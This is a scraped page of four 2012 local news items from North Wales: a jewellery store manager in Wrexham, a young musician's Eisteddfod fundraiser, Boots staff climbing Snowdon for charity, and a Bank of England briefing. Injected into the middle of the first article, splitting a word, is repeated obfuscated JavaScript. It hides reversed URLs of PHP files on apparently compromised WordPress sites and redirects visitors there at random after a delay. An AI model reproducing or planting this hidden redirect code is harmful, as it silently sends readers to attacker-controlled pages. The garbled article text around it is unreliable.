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Gem of a job in Wrexham for jewller

F.Hinds jeweller. New jewellery s$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tore manager Martin Smith.

A jeweller with three decades of retail experience has taken over the reins of a North Wales store.

Martin Smith is the new manager of  jewellers F Hinds at the Eagles Meadow shopping centre in Wrexham and says it’s the best career move he has made.

He said: “I absolutely love working here at F Hinds. One of the main factors for me and one of the main reasons I wanted to come and work here is that the company remains a family-run business.

“What you get as a result at F Hinds, is a much more focused customer service and a real sense of the staff feeling that they have a stake in the overall business. I really do think that’s vitally important.”

Martin, who has lived with his wife in Chirk for the past 20 years after moving from Stockton-on-Tees in the North East, says, for him, Eagles Meadow is a great place to both work and visit.

He said: “My last position, before I accepted the role of manager at the F Hinds store at Eagles Meadow, was with a different jewellery company in Cheshire Oaks.

“I have to say, in my opinion, Eagles Meadow is a lovely place to work,  visit  and shop. It’s so clean and welcoming and there is a great choice of stores coupled with places to eat or to just enjoy a coffee.

“That really helped me make up my mind when I agreed to move to F Hinds. That along with the fact the business remains a family-run concern. I have also found shoppers and customers here in Eagles Meadow really friendly too.”

He added: “We have a really good team of five employees at the F Hinds store. We all get on tremendously well.

“We all get on tremendously well and everyone is very professional. It’s all about customer service and ensuring we are knowledgeable about the products we sell whether it’s watches, clocks, barometers, necklaces or rings.

“Our customers trust us to know all there is to know about a particular watch they may be interested in buying or when they are purchasing an engagement or wedding ring.  And that’s what we will always strive to achieve.”

Martin is now looking forward to a busy Christmas period now he’s settled into the role.

He said: “Christmas is always hectic whatever retail business you are in. However, the jewellery business is always particularly busy.

“It’s my job to ensure we are ready and fully prepared for what will be a very busy couple of months in the run up to Christmas. We will ensure the shop is as sparkling as the diamond rings we sell.

“And we look forward to welcoming our customers and helping them chose that very special Christmas gift.”

Kevin Critchley, the manager of Eagles Meadow, was delighted to welcome Martin to the shopping centre.

He said: ” Martin’s impressive track record and the fantastic ethos of F Hinds is a winning combination.”

Monday November 19th, 2012

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Gethin from Denbigh makes sweet music for the National Eisteddfod

Denbigh Chocolate shop. From left, Kieran Davies as Willie Wonka, Jane Heckman from Stagecoach Denbigh, guitarist Gethin Juckes-Hughes, Mario Kreft and Mark Young from Denbigh Chocolate Shop.

A talented young musician has been inspired to write a new song by a love of chocolate and Welsh culture.

Gethin Juckes-Hughes, 17, will be singing the song at a fund-raising event for the National Eisteddfod that’s coming to his hometown of Denbigh next year.

The young guitarist will also be performing two songs from the hit film, Chocolat, which is being screened at Theatr Twm o’r Nant on Saturday, November 24.

As a curtain raiser, there will be a children’s matinee in the afternoon when the 1971 film version of the Roald Dahl classic, Willy Wonka and the Chocolate Factory, will be shown.

Willy Wonka himself is due to make an appearance at the afternoon show which starts at 2.30pm.

He will be joined by fellow cast members from a production of the a musical being put on by the theatre school, Stagecoach Denbigh.

They will be giving a sneak preview of a few numbers from the show ahead of their opening night at Theatr Elwy, in St Asaph, on December 1.

In the meantime, a poetry and drawing competition is being organised for under 11s and under 16s to win tickets to the film matinee. Two tickets are up for grabs in both categories.

The chocolate-themed extravaganza is being organised by a partnership of Denbigh Chocolate Shop, care organisation Pendine Park, public relations company Ceidiog Communication and Denbigh Film Club.

The event is being “proudly supported” by the HSBC bank that has a branch near the Chocolate Shop on Vale Street as well as the Buckley-based printers, EWS.

The organisers want to help the Denbigh and District National Eisteddfod Appeal Committee to raise £70,000 for the cultural event which last came to the town in 2001.

Gethin, a sixth former at Ysgol Glan Clwyd, in St Asaph, is studying for A levels in  Music, Music Technology and Physics.

He said: “I love chocolate and it’s important to support the Eisteddfod which is one the highlights of Welsh life, especially because it’s coming to Denbigh next year.

“I really like composing. A lot of what I come up with is heavy with a lot of blues but I can come up with songs which are a lot lighter.

“As well as the song I’m writing for the fund-raising event, on the night I intend to play couple of  songs from the film, Minor Swing and Caravan, which are in a gypsy jazz style.

“The song I’m writing will be in the same style and I’m also trying to get a traditional Welsh element into it. It should be interesting.”

Pendine Park proprietor Mario Kreft, who lives in Denbigh, believes they’ve hit upon a winning combination.

“Willy Wonka and Chocolat are both classic films in their own different ways so I am sure it’s going to be a real joy and hopefully we can raise a lot of money for the Eisteddfod in the process.”

Mark Young, the chocolate-mad proprietor of Denbigh Chocolate Shop, can’t wait.

He said: “We think it’s fantastic that the Eisteddfod is coming to Denbigh again – we have very fond memories of its last visit which is why we are so keen to contribute to its success next year.

“Most of our staff are bilingual and I do think the bilingual element with the staff gives the shop another dimension.

“We just need to make sure now that we can showcase what a great area it is to work rest and play.”

It was a sentiment echoed by Lil Jones, from Denbigh Film Club.

She said: “Much of the fund-raising so far has been done by a relatively small core of people so we’re hoping to reach out to a whole new audience with the chocolate extravaganza.”

Ceidiog Hughes, Managing Director of Ceidiog Communication, is a keen film fan and lover of chocolate.

He added: “It’s a wonderful way to spend an evening while raising money for one our cultural institutions at the same time.”

Monday November 19th, 2012

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Boots team from Wrexham raise mountain of cash for cancer charity

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A team from Wrexham climbed Wales’ highest peak to raise a mountain of cash for a cancer charity.

The five, who all work at the Boots UK store at the Eagles Meadow shopping centre, decided to take on the challenge of climbing Snowdon in aid of Macmillan Cancer Support.

Andrew Dobie, Avril Ramsey, Eleanor Bellis, Daniel Keats and Nathan McCarthy, chose Macmillan Cancer Support in memory of a store colleague’s mother, who had received a huge amount of support from the charity.

Team Manager Sharon Harrington explained how Macmillan nurses helped her mum in the weeks leading up to her death, after she was diagnosed with pancreatic cancer seven years ago.

She said: “I’ve been at Boots since I left school and we have become like a big family. Mum used to come into the shop to see me, so everyone knew her. She even joined in with our Christmas staff party.

“I was devastated, we all were, when she was diagnosed with pancreatic cancer.

“She had recovered from bladder cancer and had been given the all clear. When she got cancer again, this time in her pancreas, sadly it was inoperable.”

“The Macmillan nurses helped her so much.  I think it was a relief that she had someone she could talk openly to. She didn’t want to burden her family but she got so much comfort out of being able to simply talk about the things she wanted to talk about and to get things off her chest.”

Sharon is incredibly thankful for the Macmillan nurses who looked after her mum.

She said: “It takes a special kind of person to do what they do. I know I couldn’t do it. They put mum at ease and were so calm and dignified. They were always quite happy to be mum’s sounding board and listen to her frustrations.

“I was certainly pleased when I heard the gang from Boots here at Eagles Meadow were doing the sponsored walk up Snowdon in memory of mum, as well as the fact that Macmillan is one of Boots UK’s charity partners.

“I think they did a cracking job walking to the summit, I’m not sure I’d manage it. They have raised a great amount of cash for Macmillan Cancer Support, which I am absolutely thrilled with.”

Photo Consultant and Duty Manager Andrew Dobie who led the team said: “I knew Sharon’s mum quite well and we were all really devastated when she passed away seven years ago.

“Macmillan Cancer Support is one of Boots UK’s charity partners. We decided to do the sponsored walk as Macmillan is such a good cause and one we really wanted to support.

Avril Ramsey said: “The weather was shockingly bad, high winds and lashing rain so I’m not really sure how we managed it!

“Between us, we raised £350 with money still coming in.

Store Manager Sue Spain is delighted with the fundraising efforts of her staff.

She said: “They did really well and the amount of money they have raised is brilliant.

“We also had a static cycle in store on Saturday which staff took time to ride. We invited members of the public to donate loose change into a bucket which is also being donated to Macmillan Cancer Support.

“Our customers here at Eagles Meadow were extremely generous and really supported our efforts.”

Monday November 19th, 2012

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Businesses from Wrexham get a direct line to the Bank of England

Charlie Bean, Deputy Governor of the Bank of England at a breakfast meeting of Wrexham Business Professionals at the Ramada Hotel. From left, Robert Williams. GHP Legal, Dr Helen Patterson, Chief Executive, Wrexham County Borough Council, Gill Kreft, Coxeys and Charlie Bean.

The Deputy Governor of the Bank of England has given business leaders in Wrexham his view  on how the economy is faring.

Members of the Wrexham Business Professionals Group received a private, off-the-record briefing from Charlie Bean, a key figure on the Bank’s Monetary Policy Committee.

According to Mr Bean, it was a two way street because the feedback gained from a meeting like this helped the Bank formulate monetary policy.

The off-the-record private briefing at the town’s Ramada Plaza was attended by more than 50 Group members and their guests.

It was organised on the Group’s behalf by Gill Atkinson, one of their founder members.

Charlie Bean became Deputy Governor in 2008 having previously being the Bank’s Executive Director and Chief Economist from 2000.

He said: “It’s very interesting for me to come to this part of the world and in particular to meet with professionals from the Wrexham area and get a feel for what’s happening on the ground.

“The key thing that we as members of the Monetary Policy Committee get out of it is that we can hear from businesses what’s happening in their part of the economy.

“It’s also an opportunity for us to give a picture of how we see things for the Bank of England.

“When we set monetary policy there are three sources of information we rely on – official data from the Office of National Statistics, business surveys and what we hear from businesses on the ground.

“We have a network of Regional Agents talking to businesses all the time, we have 8,000 contacts around the country.

“Meetings like this are extremely valuable and a helpful source of initial source of information, particularly valuable when it’s not quite clear in which direction the economy might be headed.

“It’s a useful source of information which we can put into the melting pot to try and form our picture of not just where the economy is going but where it’s been – often that’s half the battle.

“When we change interest rates or quantitative easing asset purchases, it takes a couple of years for the effects to feed through so inevitably we have to try to look ahead to where the economy might be and what risks it might face.”

Gill Atkinson, a Director Chartered Accountants and Statutory Auditors Coxeys, said it was like “having a direct line to the Bank of England”.

She added: “It’s important that we have an inside track on the latest thinking because it helps us to help our clients.

“Wrexham is a brilliant place to do business, we have a great deal of professional expertise, whether that’s in the legal profession or accountancy. We punch above our weight.”

It was a sentiment echoed by Dr Helen Paterson, the Chief Executive of Wrexham County Borough Council.

She said: “Having Charlie Bean here is absolutely fantastic because he gave us a lowdown, an insight into the economy.

“It gave us the bigger picture which means we understand how what we do fits into the bigger picture – and hear things that aren’t on the radar of the public and the media.

“Getting the inside track means we can plan and be more flexible. The most important thing for us as a local authority is the economy, understanding its direction is incredibly important and invaluable to our work in supporting other businesses.”

Solicitor Robert Williams, a founder member of the Group and a Partner at Wrexham-based GHP Legal, added: “I think it was a wonderful opportunity to keep in contact with the core of policy making that affects us all in our everyday business lives.

“Everything the Bank of England decides has a big impact on what’s happening here in Wrexham.”

Wednesday October 31st, 2012

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